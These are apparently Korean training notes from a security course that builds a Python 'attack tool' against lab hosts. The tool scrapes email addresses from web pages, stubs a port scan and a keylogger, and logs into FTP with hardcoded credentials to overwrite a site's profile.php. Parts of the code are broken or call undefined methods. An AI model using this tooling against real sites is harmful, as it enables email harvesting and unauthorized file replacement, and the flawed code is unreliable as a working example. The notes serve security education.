이메일 구조 이해하기
xxx@xxx
정규표현식
문자, 숫자, 특수문자 사용가능 등
파이썬 구조이해
ci4.st.kr/auth/login
ci4.st.kr/auth/
클래스 활용하기
1. class 정의
2. def__init__ 클래스 생성자,소멸자 이해하기
3. 전역변수와 지역변수 구분하기
자체적 공격용 툴 만들기
[kali]
nano Attack.py
import re
import requests #웹은 요청 필요
from bs4 import BeautifulSoup #정보수집
class Attack:
target="http://victim.kr" # victim.kr > web2.st.kr/profile.php
def __init__(self,target):
print("start attack")
#target=target
print(target)
self.target = target #고정 target을 바꿔줌
def menu(self):
print("1.")
print("2.")
print("3.")
def http(self):
print("attack http")
#target = "http://web1.st.kr"
print(target)
def ftp(self):
print("attack ftp")
print(self.target)
def collectEmail(self):
print("collet email")
response = requests.get(self.target)
print(response)
#print(dir(response))
# print(response.text) #텍스트 내용 가져옴, 이메일 찾아냄!!
url ="http://web2.st.kr/profile.php"
attack1 = Attack(url)
#attack1.menu()
#attack1.http()
#attack1.ftp()
attack1.collectEmail()
#attack2 = Attack()
python Attack.py #init만 실행됨
nano Attack2.py
class Attack2:
target="http://victim.kr"
port=""
def __init__(self,target,port):
print("init")
print(target)
print(port)
self.target=target
self.port=port
def attack(self):
print(self.target)
print(self.port)
pass
url="1"
port="2"
attack1=Attack2(url,port) #
attack1.attack()
# 크롤링할 URL
url ="http://example.com"
# HTTP 요청
response = requests.get(url)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
# 이메일 주소 패턴
email_pattern = r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}'
emails=re.findall(email_pattern, soup.text) #re는 객체
#중복 제거 및 출력
unique_emails = set(emails)
for email in unique_emails;
print(email)
else:
print(f"Failed to access (url), status code: (response.status_code)")
nano Attack.py
def collectEmail(self):
email_pattern=r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}'
print("collet email")
response = requests.get(self.target)
if response.status_code == 200:
soup = BeautifulSoup(response.text,'html.parser')
#print(response)
#print(dir(response))
#print(response.text)
emails=re.findall(email_pattern,soup.text)
unique_emails = set(emails)
for email in unique_emails:
print(email)
nano Attack.py
def keylog(self):
print("start kelog")
---------------------------------------------------------------
Attack.py 최종
import re
import requests
from bs4 import BeautifulSoup
from ftplib import FTP
class Attack:
target="http://victim.kr" # victim.kr > web2.st.kr/profile.php
def __init__(self,target):
print("start attack")
#target=target
print(target)
self.target = target
def scan(self):
ports =[21,22,23,53,80,110,143,3306,3389,5601,5900,5091,9200]
chkPorts=[21]
print("start scan")
print("end scan")
return chkPorts
def menu(self):
print("1.")
print("2.")
print("3.")
def http(self):
print("attack http")
#target = "http://web1.st.kr"
print(target)
def keylog(self):
print("start kelog")
def ftp(self):
id="web2"
pw="123456"
ftp = FTP()
print("attack ftp")
print(self.target)
print(ftp)
print(dir(ftp))
try:
remote_file="profile.php"
ftp.connect(self.target,21)
ftp.login(id,pw)
print("OK")
print(ftp.retrlines('LIST'))
#ftp.cwd('public_html') #change route
with open("profile.php", 'rb') as file:
ftp.storbinary(f"STOR {remote_file}",file)
print("upload OK")
except Exception as e:
print({e})
def collectEmail(self):
email_pattern=r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}'
print("collet email")
response = requests.get(self.target)
if response.status_code == 200:
soup = BeautifulSoup(response.text,'html.parser')
#print(response)
#print(dir(response))
#print(response.text)
emails=re.findall(email_pattern,soup.text)
unique_emails = set(emails)
for email in unique_emails:
print(email)
url ="http://web2.st.kr/profile.php"
ftp = "web2.st.kr"
attack1 = Attack(ftp)
chkPorts=attack1.scan()
for port in chkPorts:
if port==21:
attack1.ftp()
elif port == 80:
attack1.http()
attack1.upload()
attack1.brute()
attack1.sql()
#attack1.menu()
#attack1.http()
#attack1.ftp()
#attack1.collectEmail()
#attack2 = Attack()